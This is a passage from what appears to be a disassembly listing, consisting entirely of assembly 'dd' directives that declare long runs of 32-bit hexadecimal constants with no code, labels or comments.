		dd 28DA00E4h, 840E6Dh, 0C2F79930h, 9C47F36Fh, 0C3008990h
		dd 6396FE91h, 1FC53Eh, 0A5E5BACh, 35C28532h, 0B7B0B518h
		dd 28AD3048h, 6038B990h, 612F613Fh, 2200A1B4h, 6DB106BEh
		dd 3398169h, 2B96E515h,	5800B702h, 0AA435BB9h, 63CBA442h
		dd 0B6B549E2h, 9F0161C6h, 0B05E639Ah, 0C2ECA913h, 97A21C31h
		dd 3618BE4Bh, 0E23348D1h, 0B90CCAF8h, 50CB6B3Bh, 82F60A9Dh
		dd 80881B87h, 0AF7A1404h, 1E00D9CCh, 8F2DBE45h,	0DB5B3B9h
		dd 0AC92AD61h, 3838BC81h, 0F8880F3Eh, 0F0800065h, 0C3372E1Ch
		dd 0E1E3FE1h, 0D760597Ch, 40076D20h, 6033F0CFh,	0F68A2931h
		dd 0C072FE67h, 3A43981Dh, 0AE19B071h, 9D05E18Eh, 88240400h
		dd 4071FEFFh, 0B3664F03h, 0D0EEA0EAh, 0A713206h, 74AA0716h
		dd 979F3CC0h, 0EC8D4E1Fh, 48E69860h, 91C01887h,	28E1B2EEh
		dd 0EFA900C2h, 70C058D3h, 70A098ADh, 37F8B5D7h,	2736B802h
		dd 836BCC93h, 9BC5AFB0h, 0F6183F3Eh, 0BF200048h, 6B2B390Ah
		dd 9800ACCAh, 9193A916h, 0AD4D0C6Ch, 8F59BA95h,	0EBF94063h
		dd 2FF1988Ah, 1F357843h, 45DA6A93h, 215E1C17h, 80458FE4h
		dd 0EE83C631h, 0B69C8Dh, 4139225Bh, 6E4734FBh, 0CE53F61Dh
		dd 0BE98DC47h, 0F04367F5h, 368F6Dh, 8423D341h, 73FE7896h
		dd 0D81A2700h, 93E62F4Ah, 0FFD0C110h, 2329536Eh, 9C6B0008h
		dd 0C62B63FAh, 0F0DD48A5h, 3990E705h, 31B400A9h, 0A3298406h
		dd 90A3EB7Dh, 1CFF2880h, 60422E7h, 0C9C33B59h, 6B80690h
		dd 61102140h, 97056000h, 1A07D929h, 40F8A8B2h, 68330027h
		dd 0AAD4B090h, 0EF006CCFh, 654EE243h, 277DB94h,	0CB2B164Ah
		dd 0CC90609Fh, 4B803AC7h, 0B853F1F7h, 0B391808Dh, 0A31004B9h
		dd 913427F1h, 93B01984h, 420FF671h, 0D8900769h,	50C6F920h
		dd 64BC0061h, 0D5DA57A7h, 0F0188136h, 5459B7F6h, 3D780324h
		dd 6F107E90h, 0F787D0E7h, 4824A071h, 0CF0152A4h, 0A719F85Dh
		dd 8BF26983h, 86B1335Ch, 1D1F3057h, 90A28C92h, 83B8493h
		dd 0B882245Dh, 0AFBAB5C2h, 3E0B1FA8h, 737D0006h, 48AF8B5Fh
		dd 0D648C46Eh, 4E862B13h, 7E2DB48h, 1342EE34h, 0AA9F8C00h
		dd 98A24723h, 51A1F400h, 0AD2858CAh, 2F0C348Fh,	30249FC6h
		dd 5B370C49h, 8E50CD7Eh, 0AAF0D090h, 2491A540h,	408C9B9Dh
		dd 48C4EE29h, 28829E80h, 60B4F7B6h, 0BDA659C2h,	0E648B453h
		dd 8D0C0004h, 0EA114B87h, 3C67954h, 93281031h, 500E4667h
		dd 2712F12Ah, 5A7037E0h, 5E62FDh, 0FC2E1BBCh, 9A83A138h
		dd 7A6F4100h, 0F0D9DF29h, 52E800D1h, 73985F63h,	7CE888BBh
		dd 80A6E73Bh, 0DF041C77h, 0FEA7A47Eh, 0EE7124DBh, 0E7240784h
		dd 13FFB061h, 879CD9F9h, 0E0A5F50Fh, 6F287905h,	0F2680199h
		dd 0BC0C1E5Eh, 0C0E1DD5Fh, 41D1D12h, 0A54264B4h, 83276FB6h
		dd 0C07D8780h, 66C9D30h, 0C72B5A9Fh, 0F62AF8CCh, 4A0288B3h
		dd 46BC1954h, 1F6FE0DFh, 0EDDE1E07h, 9A239E4Eh,	0A84130BFh
		dd 2990103Fh, 628728C3h
		dd 1BD48090h, 96FF802Bh, 0CCE6432Ah, 6E7E0101h,	2533F00Ch
		dd 1464B2D0h, 0E0923003h, 0CB023B08h, 0AB23BB03h, 6E6809BEh
		dd 1410B5A9h, 89191ADh,	0A7E5CF02h, 8E410C2Ch, 13BAC240h
		dd 20646F7Fh, 292D3FE4h, 2F0DF899h, 0E4231946h,	6D5EA400h
		dd 701F183Fh, 16F63C00h, 89B1D223h, 0C76206C5h,	0E051EBAAh
		dd 5319BAFEh, 73A0D3B7h, 303B62D8h, 0CE10C8E7h,	270B3386h
		dd 21487BC3h, 32F7B57Ch, 54CBD834h, 4D3C94E7h, 0BB80082Ah
		dd 0E994F906h, 9DEF6901h, 14254098h, 8E8B9A4h, 0BB09C1B2h
		dd 901484EAh, 0E0CBC484h, 0BA00483Fh, 0DC940E9Fh, 5900A8A7h
		dd 274C7D18h, 9D5678Fh,	9213F6A6h, 8754B421h, 0CE698020h
		dd 0BC89985Dh, 7A7336h,	6B7B279Bh, 0D1663D91h, 0B949E5FAh
		dd 9F2903A0h, 0A382BCAh, 2F533AD1h, 9F099D8Ch, 0D24788BAh
		dd 26F3F0Fh, 49B8A723h,	0F510AB38h, 5100E114h, 3F5F2F97h
		dd 0B2BECA63h, 235B315Ch, 3076DD51h, 1C88FBD0h,	0E444522Dh
		dd 931EAC22h, 0F240853Dh, 9C0BB666h, 3F6802CFh,	1761E6Dh
		dd 317278E0h, 4E103A89h, 567182C1h, 3EB95E00h, 0B5DE6EF1h
		dd 14545DB2h, 0DB10B44Ch, 8F496234h, 1036114Eh,	16E57A0Eh
		dd 69C7F73h, 993FB9D3h,	0B9138730h, 0EA71E0h, 0F52998D8h
		dd 3C311CBEh, 10A464A1h, 0B143E4h, 6D9A49F4h, 0A709C275h
		dd 3944F4A4h, 0D77F0088h, 0B1DE2B34h, 9F6CE9A1h, 0A1BEA041h
		dd 0FE104418h, 6700E8A7h, 7BA9DB66h, 7561619h, 4DB03FECh
		dd 54CE80F2h, 7F24C5CFh, 2B025833h, 3A3AE9Bh, 58DB1B5h
		dd 60B39230h, 16120148h, 428310Eh, 9F900E66h, 9FD194C0h
		dd 4CD64310h, 0EF82D0C6h, 7881B0B5h, 24DF92C7h,	0B6136C8Ch
		dd 0D840235Fh, 19EF0C6Dh, 0ED2F496h, 91D8BBF0h,	0BE2F6FE0h
		dd 28C02EB7h, 25A61660h, 311D1434h, 5890A849h, 0E69B3600h
		dd 48C534E1h, 7EB4B21Fh, 4054C98Eh, 81D949FEh, 0C0DAE520h
		dd 0CF3F8Ch, 0F68B6898h, 3491F5BFh, 2E639712h, 0A6197C81h
		dd 8E65980h, 4258736Ah,	0FCD2C624h, 9E817839h, 40C08020h
		dd 0B254F6E8h, 9300F098h, 2279443Ch, 3ECFC286h,	34056156h
		dd 0C84F12E6h, 0F76FECh, 3FB633h, 0FE31019Ch, 0EFC5D76Dh
		dd 58283D60h, 0EA0A1B5h, 0CDB16F0Fh, 0BCA12569h, 221A770Ch
		dd 331F728Ch, 748009E2h, 3147D8BAh, 0BCD20014h,	1F9104A3h
		dd 2D1F06DCh, 0CE46556Fh, 4C4936F7h, 0CF10E8D0h, 70292A22h
		dd 5800A0A6h, 1D1F7AC5h, 1E126AF4h, 0F59B2959h,	0C7E48129h
		dd 0CDC9012Bh, 4429B470h, 344C1C14h, 81918FD4h,	561A9FE7h
		dd 9B08BC22h, 0D81E4F3Fh, 6BC2C7C3h, 0A2100B5Bh, 3002A0E3h
		dd 1903BC76h, 14394C18h, 603B022h, 0C425A0EBh, 7830E754h
		dd 94CFD092h, 68A84078h, 1300434Ah, 951DFE64h, 0E0A317h
		dd 0AB8A382Fh, 3082BBAAh, 3B235A0Ah, 9700E8C3h,	1C599172h
		dd 182748BCh, 0FFA1051h, 3D67185h, 0BC9BADA8h, 428F8918h
		dd 3410871h, 19A1A2CBh,	158051B3h, 3000C8BBh, 0E3C30272h
		dd 30433EFFh, 6550C42Eh, 772C15E0h, 8B0820C9h, 0FBA40958h
		dd 4BB39C02h, 502490Fh,	0F08034CCh, 91B9B60Dh, 204C28B0h
		dd 0F17C5FDBh, 0CB412376h, 59C6D920h, 0A90E503Bh, 0E425B5E8h
		dd 93A4440Ch, 59F4EA7h,	0DC411687h, 7D953401h, 517376F4h
		dd 0D820BC97h, 6DCA407Bh, 1F3FF61Fh, 0C677822h,	0CEDF2B33h
		dd 7506B20h, 20996DFCh,	46D93C80h, 5F5ABFh, 87B27A84h
		dd 1171B5E6h, 8146F4Dh,	316457A2h, 12B199A1h, 0EC528Fh
		dd 2CA58AAh, 2B9B4534h,	2ED97927h, 1FB1E858h, 0AA9A0996h
		dd 40AD1C25h, 59752D94h, 0C21C5395h, 8380F04Ah,	505D0AC9h
		dd 0ABE5C04h, 604145Ch,	0A003B630h, 22658948h, 4380DE9h
		dd 41314188h, 225175E8h, 608F12F4h, 50AC5491h, 662A1C10h
		dd 0F60CE89Ah, 78BBCF23h, 358E3063h, 2D0B6959h,	29817A03h
		dd 0A134CA52h, 18602F0Eh, 19FE7511h, 38BDFF53h,	0F0844D9Ah
		dd 33F0976Eh, 3010E168h, 0B68A6172h, 1130B7EEh,	0A2007E37h
		dd 0F1A5DA75h, 3527FBh,	0DD40D9C2h, 432B98AFh, 920A29DFh
		dd 5F00980Fh, 2780A8EEh, 9ACA0512h, 143C0C9Eh, 18106028h
		dd 7E981DE9h, 74B49D55h, 14A8A352h, 9308F431h, 0B3D98918h
		dd 411C6F5Bh, 20781312h, 3165619Ch, 6C47CD1h, 3B2B9149h
		dd 0FD341479h, 2BA1D4D0h, 0F3598232h, 0A15390FEh, 0B0AB2918h
		dd 8ADA8435h, 0B508CC85h, 0C88693C4h, 109026F8h, 0B0AB5D73h
		dd 402785BFh, 0A677F6BCh, 84A1D12Fh, 61911033h,	41C360F7h
		dd 4E020F0Eh, 0A2B24A00h, 5E4BC831h, 6107669h, 0C6A5419Dh
		dd 2128B9A0h, 0AA184CBBh, 0E6914619h, 3A7920F6h, 77E37A00h
		dd 0B8EE8126h, 59A2005Dh, 0F5C7C0F2h, 5C7696BFh, 0E361AE00h
		dd 0B5C48698h, 1DACF604h, 0C09185A9h, 2377C52Fh, 0B4003076h
		dd 0A4709465h, 7D6EDh, 0F55FD9C4h, 92F3451Dh, 0B8B0800Eh
		dd 40DAAC05h, 2CAF108Fh, 307000C8h, 519A52A7h, 0D30B00A4h
		dd 53E8DBF9h, 6100B2FBh, 0B4935F1Fh, 357F4B8h, 824BA8ACh
		dd 80FD38AFh, 0A6E17282h, 51A05216h, 0B59EDC22h, 0F8AA5F04h
		dd 0E2091F72h, 9A50A4h,	0FBE1F0D8h, 5BE800D3h, 225FF3B8h
		dd 0AF0045AEh, 0DA5405AAh, 0F48684B6h, 30047229h, 66407617h
		dd 0ED009EA2h, 0DB0E100Ah, 0C0FB4CE9h, 80AB1458h, 0EA00F5BCh
		dd 8EC0CA73h, 3028CB9Ah, 0E4407710h, 0A540639Eh, 0F30F00F4h
		dd 0FB5FD3BEh, 16006CB6h, 0E7C89392h, 39965401h, 0CB8779FCh
		dd 0F029C339h, 4F9ED744h, 0F4108F73h, 0D526CCEEh, 75942938h
		dd 722DD8h, 0A469AAEFh,	0FED9F70h, 0D3DB0100h, 68BBFB5Eh
		dd 835F0014h, 960EAAB4h, 7E00BF98h, 0B26DB891h,	76202Ah
		dd 615D9FE7h, 0D6C0E655h, 0E8C5FB00h, 56AACA9Ah, 889C3D0Fh
		dd 26EE1100h, 8C8AB98Eh, 46071E6h, 0ACE17840h, 0C0F08060h
		dd 0DB06D500h, 0AEB89AD1h, 0AD180064h, 0EA6F19Ch, 0AA00DA5Ah
		dd 2CC88C8Eh, 6A2BB2h, 52B8E16Dh, 9F26E61h, 0A0C4D181h
		dd 558CB331h, 3E2EE6F8h, 0AA00811Eh, 0F1708F65h, 0D4E6E3F0h
		dd 0FBA09502h, 1A5FBFh,	5D0FB9C1h, 86BDAC00h, 0B12CB45Bh
		dd 0F81E677h, 9C249FEBh, 0E007E6E0h, 0D500DC01h, 27AFC046h
		dd 3E819122h, 3F00B2F1h, 2E61B99Ch, 50039B5h, 0E27D6A28h
		dd 0EC9E5FA7h, 100400E1h, 5B96C9F7h, 6001C1FBh,	0F192AC15h
		dd 9DECF2B4h, 9C8A00AAh, 75C828B3h, 0E800906Ah,	5C6151A4h
		dd 39D30CEDh, 6082C3B4h, 10279FFEh, 10B6ACC1h, 1384C1A3h
		dd 346FB98Dh, 0FE046F08h, 0EC7CFD80h, 75001382h, 811959EAh
		dd 291A7D10h, 5634CE31h, 0F85E300h, 1A60BEA5h, 83120092h
		dd 2DDB5119h, 1CAE94CBh, 5EC5F619h, 0A1C5B510h,	99041980h
		dd 0E082D7Ch, 18F821h, 8B6967BEh, 0CA166227h, 30C31F34h
		dd 0E02100B4h, 2DB1695Fh, 0F105316Bh, 4487AB29h, 449F50E4h
		dd 0AF05823Ch, 0C7575BB3h, 181AA4B0h, 3860EE44h, 0A1C00F56h
		dd 49DC439Ah, 2FAC0522h, 67FE6971h, 5E16481Ch, 3BBDA4D0h
		dd 4550006Ah, 8C7A0CA4h, 7E0C98F6h, 60DE2997h, 0AB1E4487h
		dd 6C95942Eh, 1BDA803Bh, 0EBAEB30Fh, 38BB004Bh,	7E639160h
		dd 0AC4A1FC7h, 31B80C83h, 0F54A1069h, 0C6A850A9h, 6902618Bh
		dd 11C28D2Fh, 60C4D827h, 83E921C1h, 3C00A761h, 763FB1C0h
		dd 311D2465h, 19B94731h, 0DAA450AFh, 4C00223Ch,	0BD57449Ah
		dd 3F9B2D1h, 0C73B8CC9h
		dd 98103801h, 6CC8A6BAh, 556410AFh, 365E3E95h, 5C6E1B80h
		dd 2F9329F5h, 0ABC83950h, 9A06ECA4h, 348E639Eh,	0FC500039h
		dd 12BA04D0h, 0B11DAA32h, 0E82531E2h, 1CF4767Ch, 80C844D0h
		dd 2990FC5Eh, 0FB0031E5h, 352F67FFh, 15A677C2h,	0B4118685h
		dd 0F4032D00h, 551296FBh, 0EA8EA20Eh, 21218C54h, 27F3FC52h
		dd 0B4C41D72h, 973BBB0Bh, 5510E8CAh, 0B02383ECh, 0D0FD0164h
		dd 181ABA05h, 0F5778848h, 2E63D000h, 0B242A83Dh, 0A7730070h
		dd 309DDD40h, 1C25EE25h, 0C054242Ah, 30F67C82h,	89116965h
		dd 0B9885227h, 695DDE80h, 4C08A0h, 0AC1E943Ah, 8B23BA9Bh
		dd 3360CD50h, 2624686h,	0BA03D0FBh, 104C310Ah, 3D0F375h
		dd 0F129E518h, 0C9C1FC05h, 2C203E67h, 0DF79BAh,	8239D764h
		dd 0DE15D90Eh, 2B964100h, 55F9D1DBh, 2E2F1219h,	7F4F26Eh
		dd 835D2DB2h, 9251AE30h, 38CAE0A4h, 6E80B68Bh, 0E12996F6h
		dd 8C19736h, 20BFC6A5h,	0ABE4022Bh, 0C00F543Bh,	2773AAF5h
		dd 0FE02021Ch, 9B7CEFB5h, 53B978A0h, 9DD89Fh, 490B2778h
		dd 81360777h, 5C8E5FEEh, 0BB046691h, 0F9617E20h, 0E1931CF8h
		dd 30B3D4C0h, 589780h, 6491A80Ah, 0C36BDF8h, 51011C10h
		dd 92065F0Fh, 48FE6785h, 6AC0FBE4h, 43278E69h, 62E3807Ah
		dd 94F869h, 7E877F5Eh, 6EBC067Ch, 33110312h, 0B20C7400h
		dd 79245A61h, 93221230h, 5948019Bh, 306EF94Eh, 879D0FE7h
		dd 0DBF26598h, 5294897Eh, 54600084h, 0C6D5C00Bh, 0AF02B159h
		dd 8F5DB805h, 5484A03Eh, 0B9084Eh, 68F28E8Dh, 81D33544h
		dd 7834CE04h, 0AC9982A6h, 10F8F3C0h, 0C854FA96h, 844F9F2Ah
		dd 87AC5BF3h, 6171400Bh, 0BB0F3428h, 747BC631h,	496384E8h
		dd 84E62F01h, 0A018A15Bh, 6F18B7D1h, 76636500h,	0D16E10C2h
		dd 0C0BF4FE5h, 0AA97AD60h, 3E90C88h, 0B407B190h, 829CF75Bh
		dd 44C10E10h, 178611C6h, 2D1FC981h, 308F5741h, 5000BDA4h
		dd 687DBC0Ch, 60EBCDCFh, 6216011h, 23333FACh, 1C53915h
		dd 49580D09h, 2EAFCB21h, 223F0043h, 0F6211869h,	0D98729B4h
		dd 1AA58A00h, 0B21CFE57h, 2D447897h, 8C60C824h,	2F80B336h
		dd 0DA173233h, 8C16EB8h, 88F18F5h, 0AD2F6D61h, 0ED40BBC4h
		dd 5C506187h, 0D8D01A4Fh, 0CC62B3h, 0BC39E957h,	0FDB4F966h
		dd 4F4D5000h, 61476996h, 0BBCE182Fh, 43CBF118h,	636852F5h
		dd 83C00429h, 0F9F40160h, 11029623h, 3503F2Ah, 0BFFF10F3h
		dd 1A3CE022h, 3D6B02EFh, 0E560F31h, 0D6402CAAh,	8036043Ah
		dd 0CA1DBAD4h, 9878908h, 6B6FEC0Ch, 0F77B000h, 0D04FCE43h
		dd 28B7E092h, 0E0FE1DB8h, 105EB312h, 0E307F8E2h, 0F1B1F4DEh
		dd 304443D1h, 0F350ECB8h, 0A140A61Ch, 0C9E04F6h, 0D2A3C5B0h
		dd 0C87E6460h, 23B9F940h, 38CF60EFh, 31D63075h,	5088F34Eh
		dd 0F88500D9h, 118038DBh, 1F0188B3h, 8B82CA42h,	0E830BF30h
		dd 0F8388C5Fh, 0F2B908D0h, 40456431h, 0AD0F072h, 0C804011Eh
		dd 0C39D2752h, 8E455A7h, 8EC7F424h, 0A52F6CD1h,	0EC88BF18h
		dd 0E1613A86h, 8DAFC000h, 0F66CB122h, 18B63300h, 9F36BB90h
		dd 3CFB31CAh, 2001A560h, 5D4437F8h, 846F77B6h, 6B02FC46h
		dd 82278F69h, 0E410B831h, 5E026963h, 987A6EDDh,	0EE32E01Ch
		dd 8079DFFh, 912B939Fh,	0AA70D2A5h, 9E89BC20h, 6A241F8Fh
		dd 1B584173h, 23FF7DCFh, 3025A25Ch, 0C6010E8Ch,	3397906Eh
		dd 722FC002h, 0AC84524Ch, 618A60F0h, 852F2368h,	3E8443Bh
		dd 0E3746182h, 3DF0A13Fh, 0E00ECBF1h, 73F828F6h, 699CF4h
		dd 1D475FA8h, 1980C998h, 7D05EC00h, 0E0CE463Ch,	113B0B1h
		dd 0A7B8FC76h, 6082F681h, 0F04307Ch, 3B8F3EADh,	43640C90h
		dd 4769Ch, 97914CF5h, 3FFE6892h, 0B860CF79h, 4F594471h
		dd 0E37000DCh, 0A77CF3EDh, 3300CEA1h, 68189AA0h, 67F4FAh
		dd 8EF68B01h, 0BE0A54AAh, 3496FC24h, 11881752h,	5AA80C1h
		dd 0E4A590BBh, 74440936h, 82003C60h, 2320AB2Bh,	3310E090h
		dd 0C12B98Fh, 0DFCC0477h, 4E51DC6h, 0F9606038h,	0BA1001D0h
		dd 4AC831FAh, 0D0F17385h, 6FA0F800h, 992F69Ch, 0C1A25B97h
		dd 8C9818D2h, 5018746h,	2296FDF4h, 8B270C55h, 0E0F3E0B7h
		dd 0FA0B8BB6h, 80E7D588h, 0EA06ED78h, 19F67139h, 3192AD45h
		dd 1754640Dh, 873ACD43h, 8E5AAD40h, 812CD5h, 0C107227Fh
		dd 33BC85C4h, 81804068h, 0FF0254A4h, 0F296F7F3h, 13221954h
		dd 79F3F04Eh, 400616A5h, 6D30F42Ah, 0C792070Eh,	0E8658AA2h
		dd 8740FC2Eh, 9A9D0E8h,	28F7226Ch, 0B7B56C40h, 0C1C2F096h
		dd 8B9540F0h, 0FD5D09EEh, 0B8D9263Fh, 843A4A38h, 0AA05BB23h
		dd 0F400667Ah, 6ED8B727h, 2B97124Ah, 0C4A4C7DAh, 0F210B2B2h
		dd 0B1EC3027h, 93B79F0Bh, 3B9102A4h, 18047077h,	61023C0Ch
		dd 0CF26F8EBh, 5E178367h, 0C688D807h, 461E8AC1h, 5B239460h
		dd 8F64808Ch, 0A1247290h, 9E00ED7Ah, 7CFB260Eh,	21B4B06Fh
		dd 27082067h, 5F606439h, 0CE563B86h, 3F967378h,	88320D9h
		dd 93F4270Dh, 7C4C54A5h, 0F8C44E8h, 2AEFEB16h, 0F3D14667h
		dd 88064EF7h, 40C3E5A7h, 0C0877DA0h, 0BD3EC8D1h, 61007AF5h
		dd 0B43D7A8h, 518F23F8h, 0F00894AEh, 0CC794898h, 1CF3407Eh
		dd 0EE0B5D0Bh, 0E8D2F5h, 99129B53h, 6DC340C9h, 0D40013F8h
		dd 0AE11E7DBh, 48986C80h, 8A2E31CEh, 26342400h,	0B5467420h
		dd 70CEB602h, 0E0F49162h, 0E667F200h, 44BFEE31h, 0AB04772Dh
		dd 0B7AF5B39h, 310BA8B7h, 24F02F23h, 0DC5C9D00h, 4D6173EEh
		dd 9C9E4956h, 1C731422h, 0E088315Eh, 6ECC4053h,	4FE62F0Ch
		dd 132B702Ah, 227E9893h, 8830EE94h, 2F661161h, 80C38875h
		dd 246180E6h, 0BC00BB09h, 80E6B96h, 0C22CCED2h,	973AE399h
		dd 18F79891h, 8A690B66h, 0B81C5A27h, 695EDF01h,	3931F7C1h
		dd 1259E9ECh, 471BC0Ch,	2B27E34h, 0FCED553Fh, 0A2C960A4h
		dd 33804D6Bh, 896C33BEh, 0BFE804E8h, 0CD19A919h, 0A8F8421Ah
		dd 6F2FF610h, 5154DC90h, 0D4FC1BB4h, 3E2F08A9h,	0E59B9C09h
		dd 6049C420h, 1658A081h, 0E25DFE6Dh, 35C01D70h,	0C572CC0h
		dd 2C460ECh, 9976EFB5h,	0B449F643h, 0EC307A91h,	5C63EDA7h
		dd 0F3A2EC2Dh, 4444CCE7h, 75BC5B60h, 0E5D8030Fh, 76589AEFh
		dd 1CB540B4h, 6E3F4266h, 0A5CF9D0Ch, 2A77E902h,	40747E07h
		dd 0EA3E9459h, 0A698D90Dh, 46CC69B9h, 40789C66h, 28E08180h
		dd 0CB270B06h, 0E0B843B3h, 8F53122Fh, 1CC22A9h,	0B320CC83h
		dd 0B5D71388h, 27F18FF1h, 9239CBC3h, 0FD2884ECh, 90696C60h
		dd 968A2725h, 64E500D8h, 0E974C669h, 18500B1Ah,	0B34056B4h
		dd 172316B9h, 865C22D3h, 0B8F40430h, 0D81A4D2Ah, 539F2488h
		dd 0DF10F380h, 25CF93EBh, 3807E7CAh, 837154B5h,	6924F224h
		dd 46748475h, 0FCF800B5h, 2791A2E8h, 80F35EABh,	6929B98h
		dd 0F6A58D02h, 7E0BC3CFh, 9A900268h, 0E8476A4Ah, 3660BE44h
		dd 4324F513h, 7C1FB8ACh, 0CF325C04h, 8C5DECC8h,	0FED0F604h
		dd 4C62E2B9h, 0D0EE7020h, 0DEFE00ADh, 1C5D9935h, 10BDF26Ch
		dd 29A744h, 1F84D15Ch, 931376C4h, 0D66A0E09h, 0EC46B5h
		dd 0E5B13B58h, 32770D13h, 0D27B2B16h, 5A6E50B4h, 23983BCCh
		dd 89E8054Ch, 50EC064h,	191F594Ah, 0CE0B1F97h, 484703Dh
		dd 2F1D70BCh, 80B14037h, 46365Fh, 0A3273B4h, 277ECCADh
		dd 0B57B12F6h, 0EC039F5Bh, 0B0798F04h, 9AADF799h, 0BE2F0BC8h
		dd 147A2C8Bh, 2436720h
		dd 0D41F5258h, 0BCDA4226h, 8902EF46h, 7D2F6761h, 0E760B471h
		dd 1FB6181h, 3D599764h,	0A03B3C2Fh, 900B9452h, 68C68663h
		dd 0E9D192A4h, 30F33442h, 6B4C618Dh, 2234427Bh,	85EB00BCh
		dd 56813B61h, 8F2AAE55h, 0B97B8CABh, 71C7E733h,	916819E4h
		dd 0DA9FF911h, 0DEA1888Fh, 30BA7861h, 0A525E6E0h, 30CCA9C6h
		dd 0A59B0710h, 6044E4E8h, 0EE91B253h, 0BE141E08h, 0A41ADE98h
		dd 74DCA638h, 0FF00B746h, 171EB40Ch, 27036DD7h,	229D86F1h
		dd 0ACD4E98Bh, 0E2A6E196h, 9CD90090h, 45BA3C94h, 2D0E3CDBh
		dd 0BFEC4B80h, 5BB9F9A4h, 0CCA43373h, 40EB1B20h, 51C68935h
		dd 59388Eh, 9356CF4Ch, 9F269B3Dh, 101C8C48h, 27005EE3h
		dd 7486C6FBh, 724D5798h, 1EC7144Ch, 26240FF1h, 2A1DE26Fh
		dd 53D4904Bh, 0F6BC403Bh, 0B50AE8B1h, 1E408CB1h, 2D59E4D0h
		dd 6880272Bh, 6036248Dh, 8EA048C8h, 0E4A55996h,	0F2A0F276h
		dd 466F30B6h, 0F373B101h, 4BF7A329h, 233FEF00h,	27F4AF5Dh
		dd 11941778h, 0E10C8028h, 73F0BCFh, 1FCDEF0Fh, 5730E0E8h
		dd 63648F55h, 4AA29C1h,	1D12288h, 0C1D733B9h, 872F9473h
		dd 1051F042h, 4718B379h, 17668127h, 80C09140h, 5C62CF16h
		dd 0FE460CF1h, 0D3E11F86h, 79216000h, 9590E4ACh, 0FFD500B3h
		dd 12817749h, 310CDE08h, 0B8389BC6h, 763090F8h,	42A0BEBAh
		dd 27003195h, 5C6C2114h, 6E5E4E0Fh, 9C4F2E64h, 0EEC2CE09h
		dd 27610044h, 0FF9FE20Bh, 7002066Ch, 0C9466598h, 3620E1C3h
		dd 9F70016Fh, 4BF54A72h, 0C2228840h, 60D1C03Ch,	0BA8C4600h
		dd 13F007A0h, 0CCE16E56h, 0B2010C04h, 0E40A2B69h, 0E4389B99h
		dd 5B13FC90h, 0E7E491D3h, 3F3C2025h, 0B122A22h,	5AC76073h
		dd 26A88808h, 4A467C38h, 0F488C00h, 2EAECC68h, 0C65B9709h
		dd 98F0C8D2h, 70925C9Eh, 588CB2E8h, 850044D3h, 2BD592BBh
		dd 1F4CB24Ah, 3359C150h, 0E885C077h, 0F86E4336h, 74902C08h
		dd 51A2198Dh, 0AEFC942Bh, 67592420h, 60EE31h, 6CE73464h
		dd 4494A5B7h, 0B1915CBEh, 5404B000h, 0D07BD316h, 42152500h
		dd 3FD71D03h, 61EC9C21h, 5498F68Bh, 0FAB002ECh,	1056993Bh
		dd 0C01BB362h, 5BCF97h,	0BA92D541h, 17C720FEh, 0AF4730Ch
		dd 60F64197h, 66D681ADh, 791713EBh, 78052932h, 9CE093B6h
		dd 9B9A12CFh, 0E078C65Ch, 12BB1A44h, 0AC500A4Ah, 713B0009h
		dd 0CCB7481h, 0C5262D3Ch, 909FD88Fh, 0C46E2FC2h, 65030054h
		dd 479A1F1Eh, 0FB0086E0h, 99DE3DD2h, 59168D8h, 8098EE43h
		dd 11D0C7BAh, 7C2CEFB6h, 8CB2EC3Ch, 9B27160Bh, 24D8D04Bh
		dd 15ECF0B1h, 384880ECh, 778CBCE8h, 9DF10B53h, 24F803A3h
		dd 91FC1795h, 293D85BBh, 8DD8A0C0h, 936509CDh, 0C5138BBh
		dd 9C3D8F8Ah, 839DCB80h, 71B7D1Ah, 822D5794h, 5BB3036Ch
		dd 3CF6ADE2h, 0A4A9B488h, 8182CEFh, 782825F3h, 5BB47605h
		dd 1848CDCFh, 635588A6h, 0E82A3309h, 865D1770h,	62C35544h
		dd 0CBC74883h, 0E6D68A13h, 2F9461Ch, 278C6968h,	10BA316Ah
		dd 2C6960E1h, 1A04F1Eh,	0A20123FEh, 688DD4BDh, 10E04458h
		dd 704476Fh, 0D7733330h, 131439Ch, 54C7A810h, 0F5926DC8h
		dd 5A0090A9h, 0AC0E822Fh, 2C051118h, 20EA92D6h,	40B7850Bh
		dd 0B064F9CCh, 23AB3008h, 662B8E11h, 28E0A94Bh,	3BB0CDDEh
		dd 88486502h, 0C9A0EA20h, 47799C59h, 5D81F819h,	0CDD1C605h
		dd 0D849274Bh, 0E438453Eh, 0F04460C3h, 6CF53B2Ch, 1AB3568Fh
		dd 13228C14h, 3B20C800h, 0CDAF5FCFh, 0B4144AE3h, 8F4067CCh
		dd 74BC010Ch, 1F96A797h, 0FCC0D6F0h, 0CE2531CFh, 253C7A33h
		dd 7497AA4Fh, 41804791h, 2F33457Ah, 1561C67Dh, 5EB79351h
		dd 627C4042h, 441C6784h, 8452604Bh, 15C20194h, 0B5F63C6Eh
		dd 5C882AB3h, 558720A3h, 6FBE330Ch, 209B816Ch, 2F0542D7h
		dd 341D9732h, 4C03C16h,	25A1F2D9h, 8C68CBAAh, 1795A272h
		dd 80259180h, 0D63E841Bh, 3FC000C8h, 29E95540h,	285FA7EEh
		dd 9C08D8C9h, 96F10987h, 4C60F65Bh, 0B898F98Bh,	25840E78h
		dd 9422B8D7h, 3104CBA2h, 28A91A08h, 7918BBD1h, 3318DC79h
		dd 0F660CEA3h, 0BE21DFF2h, 1E90DA00h, 65B53BCh,	0D4A44308h
		dd 0BBA68FACh, 60042185h, 0D01FFF0Ch, 0A27F679h, 91C01745h
		dd 1D3280BDh, 2C8DD999h, 937DC9Ch, 2CDA5153h, 0A415B329h
		dd 19121891h, 370440A3h, 83C6383Bh, 29D99148h, 4B9098C7h
		dd 23102ED3h, 2A0B02BDh, 0D4C0DEF8h, 9812ED6Eh,	5CC00F33h
		dd 0E87E5896h, 0FF531459h, 0D326A8D9h, 426F8h, 15325481h
		dd 6B079906h, 40B3F83h,	58F08064h, 0BB7859h, 79EFB533h
		dd 8E57C8Eh, 93C6D0C3h,	1EF00435h, 0CE91ECF9h, 0C0B788C4h
		dd 3F4050D0h, 6572018h,	9136E358h, 553708D0h, 7CBE3104h
		dd 40008BCh, 0C628988Fh, 0B97BA80Bh, 1FCEB59h, 0CE4998Eh
		dd 5460BF45h, 21C95FD7h, 40DBC94h, 0ECB828EDh, 8AEA421h
		dd 425E48CFh, 9329044Bh, 78AD3BDBh, 318D310h, 0DDAFAB2Bh
		dd 4A5E0B2h, 586562F9h,	81202EE7h, 58F180BEh, 0B9C11098h
		dd 9DB14323h, 29499A68h, 0A750F147h, 610008B7h,	0A7B367C7h
